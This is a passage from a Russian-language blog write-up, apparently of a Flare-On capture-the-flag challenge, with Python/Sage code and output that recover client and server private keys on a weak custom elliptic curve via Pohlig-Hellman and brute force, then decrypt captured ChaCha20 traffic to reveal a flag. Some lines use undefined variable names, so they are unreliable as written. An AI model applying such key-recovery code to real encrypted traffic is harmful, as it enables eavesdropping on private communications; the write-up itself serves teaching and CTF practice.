\u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438         if Raw in pkt:             raw_data_all += pkt[Raw].load  xor_key = 0x133713371337133713371337133713371337133713371337133713371337133713371337133713371337133713371337  client_x_enc = int.from_bytes(raw_data_client[0:48], byteorder='big') client_y_enc = int.from_bytes(raw_data_client[48:96], byteorder='big') client_x = client_x_enc ^ xor_key client_y = client_y_enc ^ xor_key  print(\"Client coordinates\") print(\"X_enc\\t\",hex(client_x_xor)) print(\"Y_enc\\t\",hex(client_y_xor)) print(\"X\\t\",hex(client_x)) print(\"Y\\t\",hex(client_y))   server_x_enc = int.from_bytes(raw_data_server[0:48], byteorder='big') server_y_enc = int.from_bytes(raw_data_server[48:96], byteorder='big') server_x = server_x_enc ^ xor_key server_y = server_y_enc ^ xor_key  print(\"\") print(\"Server coordinates\") print(\"X_enc\\t\",hex(server_x_xor)) print(\"Y_enc\\t\",hex(server_y_xor)) print(\"X\\t\",hex(server_x)) print(\"Y\\t\",hex(server_y)) <\/code><\/pre>\n<p>\u0412\u044b\u0432\u0435\u0434\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0435\u0441\u044f \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b:<\/p>\n<pre><code>Client coordinates X_enc 0xa6c559073da49754e9ad9846a72954745e4f2921213eccda4b1422e2fdd646fc7e28389c7c2e51a591e0147e2ebe7ae Y_enc 0x264022daf8c7676a1b2720917b82999d42cd1878d31bc57b6db17b9705c7ff2404cbbf13cbdb8c096621634045293922 X 0x195b46a760ed5a425dadcab37945867056d3e1a50124fffab78651193cea7758d4d590bed4f5f62d4a291270f1dcf499 Y 0x357731edebf0745d081033a668b58aaa51fa0b4fc02cd64c7e8668a016f0ec1317fcac24d8ec9f3e75167077561e2a15  Server coordinates X_enc 0xa0d2eba817e38b03cd063227bd32e353880818893ab02378d7db3c71c5c725c6bba0934b5d5e2d3ca6fa89ffbb374c31 Y_enc 0x96a35eaf2a5e0b430021de361aa58f8015981ffd0d9824b50af23b5ccf16fa4e323483602d0754534d2e7a8aaf8174dc X 0xb3e5f89f04d49834de312110ae05f0649b3f0bbe2987304fc4ec2f46d6f036f1a897807c4e693e0bb5cd9ac8a8005f06 Y 0x85944d98396918741316cd0109929cb706af0cca1eaf378219c5286bdc21e979210390573e3047645e1969bdbcb667eb <\/code><\/pre>\n<h3>\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439 \u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435 \u0434\u0438\u0441\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u043b\u043e\u0433\u0430\u0440\u0438\u0444\u043c\u043e\u0432<\/h3>\n<p>\u041f\u043e\u043c\u0438\u043c\u043e \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439, \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u044e \u0434\u0438\u0441\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043b\u043e\u0433\u0430\u0440\u0438\u0444\u043c\u0430 \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 (<strong>d_cli_i<\/strong>) \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 (<strong>d_ser_i<\/strong>) \u0432 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a \u0440\u0435\u0448\u0435\u043d\u0438\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u0442\u0435\u043e\u0440\u0435\u043c\u044b \u043e\u0431 \u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445:<\/p>\n<pre><code class=\"python\">prime_field_modulus_q = 0xc90102faa48f18b5eac1f76bb40a1b9fb0d841712bbe3e5576a7a56976c2baeca47809765283aa078583e1e65172a3fd  curve_param_A = 0xa079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a97564118a40331fe0fc1327f curve_param_B = 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa31602167fa5380  G_x = 0x087b5fe3ae6dcfb0e074b40f6208c8f6de4f4f0679d6933796d3b9bd659704fb85452f041fff14cf0e9aa7e45544f9d8 G_y = 0x127425c1d330ed537663e87459eaa1b1b53edfe305f6a79b184b3180033aab190eb9aa003e02e9dbf6d593c5e3b08182  # \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044f \u0438 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439 F = GF(prime_field_modulus_q) E = EllipticCurve(F, [curve_param_A, curve_param_B])  # \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u0430 G = E.point((G_x, G_y))  order = G.order() factors = order.factor()  print(\"\") factor_str = \"n = \" + \" * \".join([f\"{p}^{e}\" for p, e in factors]) print(factor_str) print(\"\")  Q_cli = E.point((client_x, client_y)) Q_ser = E.point((server_x, server_y)) d_cli_i_mass = [] d_ser_i_mass = [] moduli_list  = []  for p, e in factors[:-1]:     _factor = p ** e     n_i = order\/\/_factor     G_i = G*n_i     Q_cli_i = Q_cli*n_i     Q_ser_i = Q_ser*n_i      d_cli_i = discrete_log(Q_cli_i, G_i, operation='+', ord=_factor) # +     d_ser_i = discrete_log(Q_ser_i, G_i, operation='+', ord=_factor) # +     #d_cli_i = discrete_log_lambda(Q_cli_i, G_i, (0,_factor), '+') # +     #d_i = G_i.discrete_log(Q_i) # +-     moduli_list .append(_factor)     d_cli_i_mass.append(d_cli_i)     d_ser_i_mass.append(d_ser_i)     print(f\"Finished processing p^e = {p}^{e}\")  d_cli_small = int(crt(d_cli_i_mass, moduli_list )) d_ser_small = int(crt(d_ser_i_mass, moduli_list )) print(f\"Computed d_cli_small {d_cli_small}\") print(f\"Computed d_ser_small {d_ser_small}\") <\/code><\/pre>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 <strong>d_cli_small<\/strong> \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 <strong>d_ser_small<\/strong> \u0432 \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u0435 \u043f\u043e\u0440\u044f\u0434\u043a\u0430 <img decoding=\"async\" class=\"formula inline\" source=\"\\prod_{i=1}^{7} p_i^{e_i}\" alt=\"\\prod_{i=1}^{7} p_i^{e_i}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/0b\/0bd\/0bd3333528dbe3a0ad80b70d2d6718cd.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/0b\/0bd\/0bd3333528dbe3a0ad80b70d2d6718cd.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/0b\/0bd\/0bd3333528dbe3a0ad80b70d2d6718cd.svg 781w\" loading=\"lazy\" decode=\"async\"\/>:<\/p>\n<pre><code>Computed d_cli_small 3914004671535485983675163411331184 Computed d_ser_small 1347455424744677257745571369218247 <\/code><\/pre>\n<h3>\u041f\u0435\u0440\u0435\u0431\u043e\u0440 \u0438\u043d\u0434\u0435\u043a\u0441\u0430  \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043a\u043b\u044e\u0447\u0435\u0439<\/h3>\n<p>\u0417\u0430\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u044d\u0442\u0430\u043f\u043e\u043c \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u043c \u043f\u0435\u0440\u0435\u0431\u043e\u0440 \u0438\u043d\u0434\u0435\u043a\u0441\u0430 <img decoding=\"async\" class=\"formula inline\" source=\"k\" alt=\"k\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8ce\/8ce4b16b22b58894aa86c421e8759df3.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8ce\/8ce4b16b22b58894aa86c421e8759df3.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8ce\/8ce4b16b22b58894aa86c421e8759df3.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0434\u043b\u044f \u043d\u0430\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0445 \u043a\u043b\u044e\u0447\u0435\u0439 \u043f\u043e \u0444\u043e\u0440\u043c\u0443\u043b\u0435 \u043e\u0431\u0449\u0435\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f:<\/p>\n<pre><code class=\"python\">found_client_key = False found_server_key = False p_1_7 = Factorization(factors[:-1]).value() for k in range(1, 2**16):     if not found_client_key:         d_cli = d_cli_small + k * p_1_7         if Q_cli == d_cli * G:             print(f\"Found client secret key {d_cli}\")             print(f\"Iteration {k}\")             found_client_key = True      if not found_server_key:         d_ser = d_ser_small + k * p_1_7         if Q_ser == d_ser * G:             print(f\"Found server secret key {d_ser}\")             print(f\"Iteration {k}\")             found_server_key = True      if found_client_key and found_server_key:         break <\/code><\/pre>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0431\u0443\u0434\u0443\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u044b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043a\u043b\u044e\u0447\u0438:<\/p>\n<pre><code>Found server secret key 153712271226962757897869155910488792420 Iteration 35137 Found client secret key 168606034648973740214207039875253762473 Iteration 38541 <\/code><\/pre>\n<h3>\u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u0430<\/h3>\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u043c \u043e\u0431\u0449\u0438\u0439 \u0441\u0435\u043a\u0440\u0435\u0442 (<img decoding=\"async\" class=\"formula inline\" source=\"S = d_{\\text{cli}} \\cdot d_{\\text{serv}} \\cdot G\" alt=\"S = d_{\\text{cli}} \\cdot d_{\\text{serv}} \\cdot G\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/22\/220\/2200429924fd9ad269a43006e25a781d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/22\/220\/2200429924fd9ad269a43006e25a781d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/22\/220\/2200429924fd9ad269a43006e25a781d.svg 781w\" loading=\"lazy\" decode=\"async\"\/>) \u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u0443\u0435\u043c \u043f\u043e\u0442\u043e\u043a\u043e\u0432\u044b\u0439 \u0448\u0438\u0444\u0440 \u043c\u0435\u0436\u0434\u0443 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u043c \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c:<\/p>\n<pre><code class=\"python\">S = d_cli * d_ser * G S_x = S[0] print(f\"Shared secret x coordinate {hex(S_x)}\")  shared_secret_hash = hashlib.sha512(int(S_x).to_bytes(48, 'big')).digest() print(f\"Hash {shared_secret_hash.hex()}\")  key = hash[:32] print(f\"Key {key.hex()}\")  iv = hash[32:40] print(f\"IV {iv.hex()}\")  cipher = ChaCha20.new(key=key, nonce=iv) decrypt_text = cipher.decrypt(raw_data_all[192:]) print(decrypt_text)  lines_decrypt_text = decrypt_text.decode().split('\\x00') flag_text = base64.b64decode(lines_decrypt_text[-3]) print(flag_text) <\/code><\/pre>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u043a\u043b\u044e\u0447\u0430\u0445 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u0443\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438, \u043a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u0438\u0437\u0432\u043b\u0435\u0447\u0451\u043c \u0444\u043b\u0430\u0433, \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u044b\u0439 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d\u0438\u044f:<\/p>\n<pre><code>Shared secret x coordinate 0x3c54f90f4d2cc9c0b62df2866c2b4f0c5afae8136d2a1e76d2694999624325f5609c50b4677efa21a37664b50cec92c0 Hash b48f8fa4c856d496acdecd16d9c94cc6b01aa1c0065b023be97afdd12156f3dc3fd480978485d8183c090203b6d384c20e853e1f20f88d1c5e0f86f16e6ca5b2 Key b48f8fa4c856d496acdecd16d9c94cc6b01aa1c0065b023be97afdd12156f3dc IV 3fd480978485d818 b\"verify\\x00verify\\x00ls\\x00=== dirs ===\\r\\nsecrets\\r\\n=== files ===\\r\\nfullspeed.exe\\r\\n\\x00cd|secrets\\x00ok\\x00ls\\x00=== dirs ===\\r\\nsuper secrets\\r\\n=== files ===\\r\\n\\x00cd|super secrets\\x00ok\\x00ls\\x00=== dirs ===\\r\\n.hidden\\r\\n=== files ===\\r\\n\\x00cd|.hidden\\x00ok\\x00ls\\x00=== dirs ===\\r\\nwait, dot folders aren't hidden on windows\\r\\n=== files ===\\r\\n\\x00cd|wait, dot folders aren't hidden on windows\\x00ok\\x00ls\\x00=== dirs ===\\r\\n=== files ===\\r\\nflag.txt\\r\\n\\x00cat|flag.txt\\x00RDBudF9VNWVfeTB1cl9Pd25fQ3VSdjNzQGZsYXJlLW9uLmNvbQ==\\x00exit\\x00\" b'D0nt_U5e_y0ur_Own_CuRv3s@flare-on.com' <\/code><\/pre>\n<h3>\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 (\u043f\u043e \u043d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0435\u043c\u0443 \u0441\u043e\u043c\u043d\u043e\u0436\u0438\u0442\u0435\u043b\u044e)<\/h3>\n<p>\u041f\u043e\u043c\u0438\u043c\u043e \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0430 \u0441 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u0432 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u0435 \u0441 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u043e \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u0442\u0435\u043e\u0440\u0435\u043c\u0435 \u043e\u0431 \u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445, \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u2013 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043a \u043c\u0430\u043b\u043e\u0439 \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u0435 \u043f\u043e\u0440\u044f\u0434\u043a\u0430 <img decoding=\"async\" class=\"formula inline\" source=\"\\prod_{i=1}^{7} p_i^{e_i}\" alt=\"\\prod_{i=1}^{7} p_i^{e_i}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/0b\/0bd\/0bd3333528dbe3a0ad80b70d2d6718cd.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/0b\/0bd\/0bd3333528dbe3a0ad80b70d2d6718cd.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/0b\/0bd\/0bd3333528dbe3a0ad80b70d2d6718cd.svg 781w\" loading=\"lazy\" decode=\"async\"\/>.<br \/> \u042d\u0442\u043e \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0443\u0442\u0451\u043c \u0443\u043c\u043d\u043e\u0436\u0435\u043d\u0438\u044f \u0442\u043e\u0447\u043a\u0438 <img decoding=\"async\" class=\"formula inline\" source=\"Q\" alt=\"Q\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/f0\/f09\/f09564c9ca56850d4cd6b3319e541aee.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/f0\/f09\/f09564c9ca56850d4cd6b3319e541aee.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/f0\/f09\/f09564c9ca56850d4cd6b3319e541aee.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0438 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u0430 <img decoding=\"async\" class=\"formula inline\" source=\"G\" alt=\"G\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/df\/dfc\/dfcf28d0734569a6a693bc8194de62bf.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/df\/dfc\/dfcf28d0734569a6a693bc8194de62bf.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/df\/dfc\/dfcf28d0734569a6a693bc8194de62bf.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u043d\u0430 \u043d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0438\u0439 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0434\u0435\u043b\u0438\u0442\u0435\u043b\u044c \u043f\u043e\u0440\u044f\u0434\u043a\u0430 \u0433\u0440\u0443\u043f\u043f\u044b. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u043f\u043e \u0432\u0441\u0435\u043c \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u0430\u043c \u043e\u0431\u043d\u0443\u043b\u044f\u044e\u0442\u0441\u044f, \u0438 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u0442\u043e\u0447\u043a\u0438 \u043d\u0430 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043c\u0430\u043b\u0443\u044e \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u0443. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0437\u0430\u0434\u0430\u0447\u0430 \u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u044e \u0434\u0438\u0441\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043b\u043e\u0433\u0430\u0440\u0438\u0444\u043c\u0430 \u0443\u0436\u0435 \u0432 \u044d\u0442\u043e\u0439 \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u0435:<\/p>\n<p><img decoding=\"async\" class=\"formula\" source=\"d_{\\text{small}} = \\log_{G_{\\text{small}}} Q_{\\text{small}}\" alt=\"d_{\\text{small}} = \\log_{G_{\\text{small}}} Q_{\\text{small}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/40\/406\/406e6679c6dc0a8bc165e05e68a590dc.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/40\/406\/406e6679c6dc0a8bc165e05e68a590dc.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/40\/406\/406e6679c6dc0a8bc165e05e68a590dc.svg 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<p>\u0413\u0434\u0435:<\/p>\n<ul>\n<li>\n<p><img decoding=\"async\" class=\"formula inline\" source=\"G_{\\text{small}} = \\frac{n}{\\prod_{i=1}^{7} p_i^{e_i}} \\cdot G = p_7^{e_7} \\cdot G\" alt=\"G_{\\text{small}} = \\frac{n}{\\prod_{i=1}^{7} p_i^{e_i}} \\cdot G = p_7^{e_7} \\cdot G\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/6\/60\/606\/606e0efc02bd3d15fdc54aa6e487c4bf.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/6\/60\/606\/606e0efc02bd3d15fdc54aa6e487c4bf.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/6\/60\/606\/606e0efc02bd3d15fdc54aa6e487c4bf.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u2013 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0430 \u043c\u0430\u043b\u0443\u044e \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u0443.<\/p>\n<\/li>\n<li>\n<p><img decoding=\"async\" class=\"formula inline\" source=\"Q_{\\text{small}} = \\frac{n}{\\prod_{i=1}^{7} p_i^{e_i}} \\cdot Q = p_7^{e_7} \\cdot Q\" alt=\"Q_{\\text{small}} = \\frac{n}{\\prod_{i=1}^{7} p_i^{e_i}} \\cdot Q = p_7^{e_7} \\cdot Q\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/1\/12\/12a\/12ab44f09de90e8704f7369c653db934.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/1\/12\/12a\/12ab44f09de90e8704f7369c653db934.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/1\/12\/12a\/12ab44f09de90e8704f7369c653db934.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u2013 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u043d\u0430 \u043c\u0430\u043b\u0443\u044e \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u0443.<\/p>\n<\/li>\n<\/ul>\n<p>\u042d\u0442\u0430 \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0430, \u0435\u0441\u043b\u0438 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0433\u0440\u0443\u043f\u043f\u044b \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043e\u0434\u0438\u043d \u043a\u0440\u0443\u043f\u043d\u044b\u0439 \u0441\u043e\u043c\u043d\u043e\u0436\u0438\u0442\u0435\u043b\u044c, \u0430 \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u2013 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043c\u0430\u043b\u044b, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u043e\u043c \u043d\u0430\u0439\u0442\u0438 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043b\u044e\u0447:<\/p>\n<p><img decoding=\"async\" class=\"formula\" source=\"d = d_{\\text{small}} + k \\prod_{i=1}^{7} p_i^{e_i}, \\quad \\text{\u0433\u0434\u0435 } k = 0, 1, \\dots, \\left\\lfloor \\frac{d - d_{\\text{small}}}{\\prod_{i=1}^{7} p_i^{e_i}} \\right\\rfloor\" alt=\"d = d_{\\text{small}} + k \\prod_{i=1}^{7} p_i^{e_i}, \\quad \\text{\u0433\u0434\u0435 } k = 0, 1, \\dots, \\left\\lfloor \\frac{d - d_{\\text{small}}}{\\prod_{i=1}^{7} p_i^{e_i}} \\right\\rfloor\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/55\/553\/5537ad963e30d43ad83244af80a4b20d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/55\/553\/5537ad963e30d43ad83244af80a4b20d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/55\/553\/5537ad963e30d43ad83244af80a4b20d.svg 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<p>\u041f\u0440\u0438\u0432\u0435\u0434\u0435\u043c \u043f\u0440\u0438\u043c\u0435\u0440 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043c\u0435\u0442\u043e\u0434\u0430:<\/p>\n<pre><code class=\"python\">p_7 = Factorization(factors[-1:]).value() d_cli_small = (G*p_7).discrete_log(Q_cli*p_7) d_ser_small = (G*p_7).discrete_log(Q_ser*p_7) print(f\"Computed d_cli_small {d_cli_small}\") print(f\"Computed d_ser_small {d_ser_small}\")  found_client_key = False found_server_key = False p_1_7 = Factorization(factors[:-1]).value() for k in range(1, 2**16):     if not found_client_key:         d_cli = d_cli_small + k * p_1_7         if Q_cli == d_cli * G:             print(f\"Found client secret key {d_cli}\")             print(f\"Iteration {k}\")             found_client_key = True      if not found_server_key:         d_ser = d_ser_small + k * p_1_7         if Q_ser == d_ser * G:             print(f\"Found server secret key {d_ser}\")             print(f\"Iteration {k}\")             found_server_key = True      if found_client_key and found_server_key:         break <\/code><\/pre>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0431\u0443\u0434\u0443\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u044b \u0442\u0435 \u0436\u0435 \u0441\u0430\u043c\u044b\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0447\u0442\u043e \u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e 